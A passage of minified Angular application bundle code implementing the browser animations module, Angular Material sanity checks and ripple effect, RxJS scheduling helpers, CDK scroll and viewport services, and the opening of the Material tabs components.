this.delegate.nextSibling(t)}setAttribute(t,e,n,r){this.delegate.setAttribute(t,e,n,r)}removeAttribute(t,e,n){this.delegate.removeAttribute(t,e,n)}addClass(t,e){this.delegate.addClass(t,e)}removeClass(t,e){this.delegate.removeClass(t,e)}setStyle(t,e,n,r){this.delegate.setStyle(t,e,n,r)}removeStyle(t,e,n){this.delegate.removeStyle(t,e,n)}setProperty(t,e,n){"@"==e.charAt(0)&&e==rM?this.disableAnimations(t,!!n):this.delegate.setProperty(t,e,n)}setValue(t,e){this.delegate.setValue(t,e)}listen(t,e,n){return this.delegate.listen(t,e,n)}disableAnimations(t,e){this.engine.disableAnimations(t,e)}}class sM extends oM{constructor(t,e,n,r){super(e,n,r),this.factory=t,this.namespaceId=e}setProperty(t,e,n){"@"==e.charAt(0)?"."==e.charAt(1)&&e==rM?this.disableAnimations(t,n=void 0===n||!!n):this.engine.process(this.namespaceId,t,e.substr(1),n):this.delegate.setProperty(t,e,n)}listen(t,e,n){if("@"==e.charAt(0)){const r=function(t){switch(t){case"body":return document.body;case"document":return document;case"window":return window;default:return t}}(t);let i=e.substr(1),o="";return"@"!=i.charAt(0)&&([i,o]=function(t){const e=t.indexOf(".");return[t.substring(0,e),t.substr(e+1)]}(i)),this.engine.listen(this.namespaceId,r,i,o,t=>{this.factory.scheduleListenerCallback(t._data||-1,n,t)})}return this.delegate.listen(t,e,n)}}let aM=(()=>{class t extends DS{constructor(t,e,n){super(t.body,e,n)}ngOnDestroy(){this.flush()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(s),r.\u0275\u0275inject(rP),r.\u0275\u0275inject(JP))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const cM=new r.InjectionToken("AnimationModuleType"),lM=[{provide:Sx,useClass:JS},{provide:JP,useFactory:function(){return new tS}},{provide:DS,useClass:aM},{provide:r.RendererFactory2,useFactory:function(t,e,n){return new iM(t,e,n)},deps:[Gt,DS,r.NgZone]}],uM=[{provide:rP,useFactory:function(){return"function"==typeof YS()?new ZS:new QS}},{provide:cM,useValue:"BrowserAnimations"},...lM],dM=[{provide:rP,useClass:nP},{provide:cM,useValue:"NoopAnimations"},...lM];let hM=(()=>{class t{static withConfig(e){return{ngModule:t,providers:e.disableAnimations?dM:uM}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:uM,imports:[ee]}),t})();const pM=new r.Version("12.2.13"),fM=new r.InjectionToken("mat-sanity-checks",{providedIn:"root",factory:function(){return!0}});let gM,mM=(()=>{class t{constructor(t,e,n){this._hasDoneGlobalChecks=!1,this._document=n,t._applyBodyHighContrastModeCssClasses(),this._sanityChecks=e,this._hasDoneGlobalChecks||(this._checkDoctypeIsDefined(),this._checkThemeIsPresent(),this._checkCdkVersionMatch(),this._hasDoneGlobalChecks=!0)}_checkIsEnabled(t){return!(!(0,r.isDevMode)()||Hw())&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[t])}_checkDoctypeIsDefined(){this._checkIsEnabled("doctype")&&!this._document.doctype&&console.warn("Current document does not have a doctype. This may cause some Angular Material components not to behave as expected.")}_checkThemeIsPresent(){if(!this._checkIsEnabled("theme")||!this._document.body||"function"!=typeof getComputedStyle)return;const t=this._document.createElement("div");t.classList.add("mat-theme-loaded-marker"),this._document.body.appendChild(t);const e=getComputedStyle(t);e&&"none"!==e.display&&console.warn("Could not find Angular Material core theme. Most Material components may not work as expected. For more info refer to the theming guide: https://material.angular.io/guide/theming"),this._document.body.removeChild(t)}_checkCdkVersionMatch(){this._checkIsEnabled("version")&&pM.full!==Px.full&&console.warn("The Angular Material version ("+pM.full+") does not match the Angular CDK version ("+Px.full+").\nPlease ensure the versions of these two packages exactly match.")}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(dx),r.\u0275\u0275inject(fM,8),r.\u0275\u0275inject(s))},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[xx],xx]}),t})();function yM(t){return class extends t{constructor(...t){super(...t),this._disabled=!1}get disabled(){return this._disabled}set disabled(t){this._disabled=Ow(t)}}}function bM(t,e){return class extends t{constructor(...t){super(...t),this.defaultColor=e,this.color=e}get color(){return this._color}set color(t){const e=t||this.defaultColor;e!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove(`mat-${this._color}`),e&&this._elementRef.nativeElement.classList.add(`mat-${e}`),this._color=e)}}}function vM(t){return class extends t{constructor(...t){super(...t),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(t){this._disableRipple=Ow(t)}}}try{gM="undefined"!=typeof Intl}catch(ma){gM=!1}class _M{constructor(t,e,n){this._renderer=t,this.element=e,this.config=n,this.state=3}fadeOut(){this._renderer.fadeOutRipple(this)}}const CM={enterDuration:225,exitDuration:150},wM=jw({passive:!0}),xM=["mousedown","touchstart"],PM=["mouseup","mouseleave","touchend","touchcancel"];class SM{constructor(t,e,n,r){this._target=t,this._ngZone=e,this._isPointerDown=!1,this._activeRipples=new Set,this._pointerUpEventsRegistered=!1,r.isBrowser&&(this._containerElement=kw(n))}fadeInRipple(t,e,n={}){const r=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),i=Object.assign(Object.assign({},CM),n.animation);n.centered&&(t=r.left+r.width/2,e=r.top+r.height/2);const o=n.radius||function(t,e,n){const r=Math.max(Math.abs(t-n.left),Math.abs(t-n.right)),i=Math.max(Math.abs(e-n.top),Math.abs(e-n.bottom));return Math.sqrt(r*r+i*i)}(t,e,r),s=t-r.left,a=e-r.top,c=i.enterDuration,l=document.createElement("div");l.classList.add("mat-ripple-element"),l.style.left=s-o+"px",l.style.top=a-o+"px",l.style.height=2*o+"px",l.style.width=2*o+"px",null!=n.color&&(l.style.backgroundColor=n.color),l.style.transitionDuration=`${c}ms`,this._containerElement.appendChild(l),function(t){window.getComputedStyle(t).getPropertyValue("opacity")}(l),l.style.transform="scale(1)";const u=new _M(this,l,n);return u.state=0,this._activeRipples.add(u),n.persistent||(this._mostRecentTransientRipple=u),this._runTimeoutOutsideZone(()=>{const t=u===this._mostRecentTransientRipple;u.state=1,!n.persistent&&(!t||!this._isPointerDown)&&u.fadeOut()},c),u}fadeOutRipple(t){const e=this._activeRipples.delete(t);if(t===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),this._activeRipples.size||(this._containerRect=null),!e)return;const n=t.element,r=Object.assign(Object.assign({},CM),t.config.animation);n.style.transitionDuration=`${r.exitDuration}ms`,n.style.opacity="0",t.state=2,this._runTimeoutOutsideZone(()=>{t.state=3,n.parentNode.removeChild(n)},r.exitDuration)}fadeOutAll(){this._activeRipples.forEach(t=>t.fadeOut())}fadeOutAllNonPersistent(){this._activeRipples.forEach(t=>{t.config.persistent||t.fadeOut()})}setupTriggerEvents(t){const e=kw(t);!e||e===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=e,this._registerEvents(xM))}handleEvent(t){"mousedown"===t.type?this._onMousedown(t):"touchstart"===t.type?this._onTouchStart(t):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(PM),this._pointerUpEventsRegistered=!0)}_onMousedown(t){const e=Yw(t),n=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!e&&!n&&(this._isPointerDown=!0,this.fadeInRipple(t.clientX,t.clientY,this._target.rippleConfig))}_onTouchStart(t){if(!this._target.rippleDisabled&&!Jw(t)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;const e=t.changedTouches;for(let t=0;t<e.length;t++)this.fadeInRipple(e[t].clientX,e[t].clientY,this._target.rippleConfig)}}_onPointerUp(){!this._isPointerDown||(this._isPointerDown=!1,this._activeRipples.forEach(t=>{!t.config.persistent&&(1===t.state||t.config.terminateOnPointerUp&&0===t.state)&&t.fadeOut()}))}_runTimeoutOutsideZone(t,e=0){this._ngZone.runOutsideAngular(()=>setTimeout(t,e))}_registerEvents(t){this._ngZone.runOutsideAngular(()=>{t.forEach(t=>{this._triggerElement.addEventListener(t,this,wM)})})}_removeTriggerEvents(){this._triggerElement&&(xM.forEach(t=>{this._triggerElement.removeEventListener(t,this,wM)}),this._pointerUpEventsRegistered&&PM.forEach(t=>{this._triggerElement.removeEventListener(t,this,wM)}))}}const MM=new r.InjectionToken("mat-ripple-global-options");let OM=(()=>{class t{constructor(t,e,n,r,i){this._elementRef=t,this._animationMode=i,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=r||{},this._rippleRenderer=new SM(this,e,t,n)}get disabled(){return this._disabled}set disabled(t){t&&this.fadeOutAllNonPersistent(),this._disabled=t,this._setupTriggerEventsIfEnabled()}get trigger(){return this._trigger||this._elementRef.nativeElement}set trigger(t){this._trigger=t,this._setupTriggerEventsIfEnabled()}ngOnInit(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}ngOnDestroy(){this._rippleRenderer._removeTriggerEvents()}fadeOutAll(){this._rippleRenderer.fadeOutAll()}fadeOutAllNonPersistent(){this._rippleRenderer.fadeOutAllNonPersistent()}get rippleConfig(){return{centered:this.centered,radius:this.radius,color:this.color,animation:Object.assign(Object.assign(Object.assign({},this._globalOptions.animation),"NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{}),this.animation),terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}get rippleDisabled(){return this.disabled||!!this._globalOptions.disabled}_setupTriggerEventsIfEnabled(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}launch(t,e=0,n){return"number"==typeof t?this._rippleRenderer.fadeInRipple(t,e,Object.assign(Object.assign({},this.rippleConfig),n)):this._rippleRenderer.fadeInRipple(0,0,Object.assign(Object.assign({},this.rippleConfig),t))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(Rw),r.\u0275\u0275directiveInject(MM,8),r.\u0275\u0275directiveInject(cM,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("mat-ripple-unbounded",e.unbounded)},inputs:{radius:["matRippleRadius","radius"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"],color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],animation:["matRippleAnimation","animation"]},exportAs:["matRipple"]}),t})(),EM=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[mM,Lw],mM]}),t})();var TM=n(9105);function IM(t,e,n,r){return(0,TM.m)(n)&&(r=n,n=void 0),r?IM(t,e,n).pipe((0,ue.U)(t=>(0,Xe.k)(t)?r(...t):r(t))):new re.y(r=>{kM(t,e,function(t){r.next(arguments.length>1?Array.prototype.slice.call(arguments):t)},r,n)})}function kM(t,e,n,r,i){let o;if(function(t){return t&&"function"==typeof t.addEventListener&&"function"==typeof t.removeEventListener}(t)){const r=t;t.addEventListener(e,n,i),o=()=>r.removeEventListener(e,n,i)}else if(function(t){return t&&"function"==typeof t.on&&"function"==typeof t.off}(t)){const r=t;t.on(e,n),o=()=>r.off(e,n)}else if(function(t){return t&&"function"==typeof t.addListener&&"function"==typeof t.removeListener}(t)){const r=t;t.addListener(e,n),o=()=>r.removeListener(e,n)}else{if(!t||!t.length)throw new TypeError("Invalid event target");for(let o=0,s=t.length;o<s;o++)kM(t[o],e,n,r,i)}r.add(o)}var AM=n(6561);function DM(t=0,e,n){let r=-1;return(0,AM.k)(e)?r=Number(e)<1?1:Number(e):(0,Qe.K)(e)&&(n=e),(0,Qe.K)(n)||(n=Go.P),new re.y(e=>{const i=(0,AM.k)(t)?t:+t-n.now();return n.schedule(NM,i,{index:0,period:r,subscriber:e})})}function NM(t){const{index:e,period:n,subscriber:r}=t;if(r.next(e),!r.closed){if(-1===n)return r.complete();t.index=e+1,this.schedule(t,n)}}var RM=n(6465),LM=n(6102);new class extends LM.v{flush(t){this.active=!0,this.scheduled=void 0;const{actions:e}=this;let n,r=-1,i=e.length;t=t||e.shift();do{if(n=t.execute(t.state,t.delay))break}while(++r<i&&(t=e.shift()));if(this.active=!1,n){for(;++r<i&&(t=e.shift());)t.unsubscribe();throw n}}}(class extends RM.o{constructor(t,e){super(t,e),this.scheduler=t,this.work=e}requestAsyncId(t,e,n=0){return null!==n&&n>0?super.requestAsyncId(t,e,n):(t.actions.push(this),t.scheduled||(t.scheduled=requestAnimationFrame(()=>t.flush(null))))}recycleAsyncId(t,e,n=0){if(null!==n&&n>0||null===n&&this.delay>0)return super.recycleAsyncId(t,e,n);0===t.actions.length&&(cancelAnimationFrame(e),t.scheduled=void 0)}});n(4581);class jM{constructor(t){this.durationSelector=t}call(t,e){return e.subscribe(new FM(t,this.durationSelector))}}class FM extends hn.Ds{constructor(t,e){super(t),this.durationSelector=e,this.hasValue=!1}_next(t){if(this.value=t,this.hasValue=!0,!this.throttled){let n;try{const{durationSelector:e}=this;n=e(t)}catch(e){return this.destination.error(e)}const r=(0,hn.ft)(n,new hn.IY(this));!r||r.closed?this.clearThrottle():this.add(this.throttled=r)}}clearThrottle(){const{value:t,hasValue:e,throttled:n}=this;n&&(this.remove(n),this.throttled=void 0,n.unsubscribe()),e&&(this.value=void 0,this.hasValue=!1,this.destination.next(t))}notifyNext(){this.clearThrottle()}notifyComplete(){this.clearThrottle()}}function VM(t,e=Go.P){return function(t){return function(e){return e.lift(new jM(t))}}(()=>DM(t,e))}let BM=(()=>{class t{constructor(t,e,n){this._ngZone=t,this._platform=e,this._scrolled=new We.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=n}register(t){this.scrollContainers.has(t)||this.scrollContainers.set(t,t.elementScrolled().subscribe(()=>this._scrolled.next(t)))}deregister(t){const e=this.scrollContainers.get(t);e&&(e.unsubscribe(),this.scrollContainers.delete(t))}scrolled(t=20){return this._platform.isBrowser?new re.y(e=>{this._globalSubscription||this._addGlobalListener();const n=t>0?this._scrolled.pipe(VM(t)).subscribe(e):this._scrolled.subscribe(e);return this._scrolledCount++,()=>{n.unsubscribe(),this._scrolledCount--,this._scrolledCount||this._removeGlobalListener()}}):(0,ne.of)()}ngOnDestroy(){this._removeGlobalListener(),this.scrollContainers.forEach((t,e)=>this.deregister(e)),this._scrolled.complete()}ancestorScrolled(t,e){const n=this.getAncestorScrollContainers(t);return this.scrolled(e).pipe(ae(t=>!t||n.indexOf(t)>-1))}getAncestorScrollContainers(t){const e=[];return this.scrollContainers.forEach((n,r)=>{this._scrollableContainsElement(r,t)&&e.push(r)}),e}_getWindow(){return this._document.defaultView||window}_scrollableContainsElement(t,e){let n=kw(e),r=t.getElementRef().nativeElement;do{if(n==r)return!0}while(n=n.parentElement);return!1}_addGlobalListener(){this._globalSubscription=this._ngZone.runOutsideAngular(()=>IM(this._getWindow().document,"scroll").subscribe(()=>this._scrolled.next()))}_removeGlobalListener(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(s,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(s,8))},token:t,providedIn:"root"}),t})(),HM=(()=>{class t{constructor(t,e,n){this._platform=t,this._change=new We.xQ,this._changeListener=t=>{this._change.next(t)},this._document=n,e.runOutsideAngular(()=>{if(t.isBrowser){const t=this._getWindow();t.addEventListener("resize",this._changeListener),t.addEventListener("orientationchange",this._changeListener)}this.change().subscribe(()=>this._viewportSize=null)})}ngOnDestroy(){if(this._platform.isBrowser){const t=this._getWindow();t.removeEventListener("resize",this._changeListener),t.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}getViewportSize(){this._viewportSize||this._updateViewportSize();const t={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),t}getViewportRect(){const t=this.getViewportScrollPosition(),{width:e,height:n}=this.getViewportSize();return{top:t.top,left:t.left,bottom:t.top+n,right:t.left+e,height:n,width:e}}getViewportScrollPosition(){if(!this._platform.isBrowser)return{top:0,left:0};const t=this._document,e=this._getWindow(),n=t.documentElement,r=n.getBoundingClientRect();return{top:-r.top||t.body.scrollTop||e.scrollY||n.scrollTop||0,left:-r.left||t.body.scrollLeft||e.scrollX||n.scrollLeft||0}}change(t=20){return t>0?this._change.pipe(VM(t)):this._change}_getWindow(){return this._document.defaultView||window}_updateViewportSize(){const t=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:t.innerWidth,height:t.innerHeight}:{width:0,height:0}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s,8))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s,8))},token:t,providedIn:"root"}),t})(),zM=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})(),GM=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({imports:[[xx,Lw,zM],xx,zM]}),t})();function UM(t,e){1&t&&r.\u0275\u0275projection(0)}const qM=["*"];function WM(t,e){}const KM=function(t){return{animationDuration:t}},$M=function(t,e){return{value:t,params:e}},QM=["tabBodyWrapper"],XM=["tabHeader"];function ZM(t,e){}function YM(t,e){if(1&t&&r.\u0275\u0275template(0,ZM,0,0,"ng-template",9),2&t){const t=r.\u0275\u0275nextContext().$implicit;r.\u0275\u0275property("cdkPortalOutlet",t.templateLabel)}}function JM(t,e){if(1&t&&r.\u0275\u0275text(0),2&t){const t=r.\u0275\u0275nextContext().$implicit;r.\u0275\u0275textInterpolate(t.textLabel)}}function tO(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",6),r.\u0275\u0275listener("click",function(){const e=r.\u0275\u0275restoreView(t),n=e.$implicit,i=e.index,o=r.\u0275\u0275nextContext(),s=r.\u0275\u0275reference(1);return o._handleClick(n,s,i)})("cdkFocusChange",function(e){const n=r.\u0275\u0275restoreView(t).index;return r.\u0275\u0275nextContext()._tabFocusChanged(e,n)}),r.\u0275\u0275elementStart(1,"div",7),r.\u0275\u0275template(2,YM,1,1,"ng-template",8),r.\u0275\u0275template(3,JM,1,1,"ng-template",8),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=e.$implicit,n=e.index,i=r.\u0275\u0275nextContext();r.\u0275\u0275classProp("mat-tab-label-active",i.selectedIndex==n),r.\u0275\u0275property("id",i._getTabLabelId(n))("disabled",t.disabled)("matRippleDisabled",t.disabled||i.disableRipple),r.\u0275\u0275attribute("tabIndex",i._getTabIndex(t,n))("aria-posinset",n+1)("aria-setsize",i._tabs.length)("aria-controls",i._getTabContentId(n))("aria-selected",i.selectedIndex==n)("aria-label",t.ariaLabel||null)("aria-labelledby",!t.ariaLabel&&t.ariaLabelledby?t.ariaLabelledby:null),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",t.templateLabel),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!t.templateLabel)}}function eO(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"mat-tab-body",10),r.\u0275\u0275listener("_onCentered",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext()._removeTabBodyWrapperHeight()})("_onCentering",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext()._setTabBodyWrapperHeight(e)}),r.\u0275\u0275elementEnd()}if(2&t){const t=e.$implicit,n=e.index,i=r.\u0275\u0275nextContext();r.\u0275\u0275classProp("mat-tab-body-active",i.selectedIndex===n),r.\u0275\u0275property("id",i._getTabContentId(n))("content",t.content)("position",t.position)("origin",t.origin)("animationDuration",i.animationDuration),r.\u0275\u0275attribute("tabindex",null!=i.contentTabIndex&&i.selectedIndex===n?i.contentTabIndex:null)("aria-labelledby",i._getTabLabelId(n))}}const nO=["tabListContainer"],rO=["tabList"],iO=["nextPaginator"],oO=["previousPaginator"],sO=new r.InjectionToken("MatInkBarPositioner",{providedIn:"root",factory:function(){return t=>({left:t?(t.offsetLeft||0)+"px":"0",width:t?(t.offsetWidth||0)+"px":"0"})}});let aO=(()=>{class t{constructor(t,e,n,r){this._elementRef=t,this._ngZone=e,this._inkBarPositioner=n,this._animationMode=r}alignToElement(t){this.show(),"undefined"!=typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>this._setStyles(t))}):this._setStyles(t)}show(){this._elementRef.nativeElement.style.visibility="visible"}hide(){this._elementRef.nativeElement.style.visibility="hidden"}_setStyles(t){const e=this._inkBarPositioner(t),n=this._elementRef.nativeElement;n.style.left=e.left,n.style.width=e.width}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(r.NgZone),r.\u0275\u0275directiveInject(sO),r.\u0275\u0275directiveInject(cM,8))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["mat-ink-bar"]],hostAttrs:[1,"mat-ink-bar"],hostVars:2,hostBindings:function(t,e){2&t&&r.\u0275\u0275classProp("_mat-animation-noopable","NoopAnimations"===e._animationMode)}}),t})();const cO=new r.InjectionToken("MatTabContent"),lO=new r.InjectionToken("MatTabLabel"),uO=new r.InjectionToken("MAT_TAB"),dO=yM(class{}),hO=new r.InjectionToken("MAT_TAB_GROUP");let pO=(()=>{class t extends dO{constructor(t,e){super(),this._viewContainerRef=t,this._closestTabGroup=e,this.textLabel="",this._contentPortal=null,this._stateChanges=new We.xQ,this.position=null,this.origin=null,this.isActive=!1}get templateLabel(){return this._templateLabel}set templateLabel(t){this._setTemplateLabelInput(t)}get content(){return this._contentPortal}ngOnChanges(t){(t.hasOwnProperty("textLabel")||t.hasOwnProperty("disabled"))&&this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}ngOnInit(){this._contentPortal=new gx(this._explicitContent||this._implicitContent,this._viewContainerRef)}_setTemplateLabelInput(t){t&&t._closestTab===this&&(this._templateLabel=t)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject(hO,8))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["mat-tab"]],contentQueries:function(t,e,n){if(1&t&&(r.\u0275\u0275contentQuery(n,lO,5),r.\u0275\u0275contentQuery(n,cO,7,r.TemplateRef)),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e.templateLabel=t.first),r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._explicitContent=t.first)}},viewQuery:function(t,e){if(1&t&&r.\u0275\u0275viewQuery(r.TemplateRef,7),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._implicitContent=t.first)}},inputs:{disabled:"disabled",textLabel:["label","textLabel"],ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"]},exportAs:["matTab"],features:[r.\u0275\u0275ProvidersFeature([{provide:uO,useExisting:t}]),r.\u0275\u0275InheritDefinitionFeature,r.\u0275\u0275NgOnChangesFeature],ngContentSelectors:qM,decls:1,vars:0,template:function(t,e){1&t&&(r.\u0275\u0275projectionDef(),r.\u0275\u0275template(0,UM,1,0,"ng-template"))},encapsulation:2}),t})();const fO={translateTab:Ox("translateTab",[kx("center, void, left-origin-center, right-origin-center",Ix({transform:"none"})),kx("left",Ix({transform:"translate3d(-100%, 0, 0)",minHeight:"1px"})),kx("right",Ix({transform:"translate3d(100%, 0, 0)",minHeight:"1px"})),Ax("* => left, * => right, left => center, right => center",Ex("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")),Ax("void => left-origin-center",[Ix({transform:"translate3d(-100%, 0, 0)"}),Ex("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")]),Ax("void => right-origin-center",[Ix({transform:"translate3d(100%, 0, 0)"}),Ex("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")])])};let gO=(()=>{class t extends vx{constructor(t,e,n,r){super(t,e,r),this._host=n,this._centeringSub=Hn.w.EMPTY,this._leavingSub=Hn.w.EMPTY}ngOnInit(){super.ngOnInit(),this._centeringSub=this._host._beforeCentering.pipe(_n(this._host._isCenterPosition(this._host._position))).subscribe(t=>{t&&!this.hasAttached()&&this.attach(this._host._content)}),this._leavingSub=this._host._afterLeavingCenter.subscribe(()=>{this.detach()})}ngOnDestroy(){super.ngOnDestroy(),this._centeringSub.unsubscribe(),this._leavingSub.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ComponentFactoryResolver),r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject((0,r.forwardRef)(()=>yO)),r.\u0275\u0275directiveInject(s))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["","matTabBodyHost",""]],features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),mO=(()=>{class t{constructor(t,e,n){this._elementRef=t,this._dir=e,this._dirChangeSubscription=Hn.w.EMPTY,this._translateTabComplete=new We.xQ,this._onCentering=new r.EventEmitter,this._beforeCentering=new r.EventEmitter,this._afterLeavingCenter=new r.EventEmitter,this._onCentered=new r.EventEmitter(!0),this.animationDuration="500ms",e&&(this._dirChangeSubscription=e.change.subscribe(t=>{this._computePositionAnimationState(t),n.markForCheck()})),this._translateTabComplete.pipe(Aa((t,e)=>t.fromState===e.fromState&&t.toState===e.toState)).subscribe(t=>{this._isCenterPosition(t.toState)&&this._isCenterPosition(this._position)&&this._onCentered.emit(),this._isCenterPosition(t.fromState)&&!this._isCenterPosition(this._position)&&this._afterLeavingCenter.emit()})}set position(t){this._positionIndex=t,this._computePositionAnimationState()}ngOnInit(){"center"==this._position&&null!=this.origin&&(this._position=this._computePositionFromOrigin(this.origin))}ngOnDestroy(){this._dirChangeSubscription.unsubscribe(),this._translateTabComplete.complete()}_onTranslateTabStarted(t){const e=this._isCenterPosition(t.toState);this._beforeCentering.emit(e),e&&this._onCentering.emit(this._elementRef.nativeElement.clientHeight)}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_isCenterPosition(t){return"center"==t||"left-origin-center"==t||"right-origin-center"==t}_computePositionAnimationState(t=this._getLayoutDirection()){this._position=this._positionIndex<0?"ltr"==t?"left":"right":this._positionIndex>0?"ltr"==t?"right":"left":"center"}_computePositionFromOrigin(t){const e=this._getLayoutDirection();return"ltr"==e&&t<=0||"rtl"==e&&t>0?"left-origin-center":"right-origin-center"}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(wx,8),r.\u0275\u0275directiveInject(r.ChangeDetectorRef))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,inputs:{animationDuration:"animationDuration",position:"position",_content:["content","_content"],origin:"origin"},outputs:{_onCentering:"_onCentering",_beforeCentering:"_beforeCentering",_afterLeavingCenter:"_afterLeavingCenter",_onCentered:"_onCentered"}}),t})(),yO=(()=>{class t extends mO{constructor(t,e,n){super(t,e,n)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(wx,8),r.\u0275\u0275directiveInject(r.ChangeDetectorRef))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["mat-tab-body"]],viewQuery:function(t,e){if(1&t&&r.\u0275\u0275viewQuery(vx,5),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._portalHost=t.first)}},hostAttrs:[1,"mat-tab-body"],features:[r.\u0275\u0275InheritDefinitionFeature],decls:3,vars:6,consts:[["cdkScrollable","",1,"mat-tab-body-content"],["content",""],["matTabBodyHost",""]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0,1),r.\u0275\u0275listener("@translateTab.start",function(t){return e._onTranslateTabStarted(t)})("@translateTab.done",function(t){return e._translateTabComplete.next(t)}),r.\u0275\u0275template(2,WM,0,0,"ng-template",2),r.\u0275\u0275elementEnd()),2&t&&r.\u0275\u0275property("@translateTab",r.\u0275\u0275pureFunction2(3,$M,e._position,r.\u0275\u0275pureFunction1(1,KM,e.animationDuration)))},directives:[gO],styles:[".mat-tab-body-content{height:100%;overflow:auto}.mat-tab-group-dynamic-height .mat-tab-body-content{overflow:hidden}\n"],encapsulation:2,data:{animation:[fO.translateTab]}}),t})();const bO=new r.InjectionToken("MAT_TABS_CONFIG");let vO=0;class _O{}const CO=bM(vM(class{constructor(t){this._elementRef=t}}),"primary");let wO=(()=>{class t extends CO{constructor(t,e,n,i){var 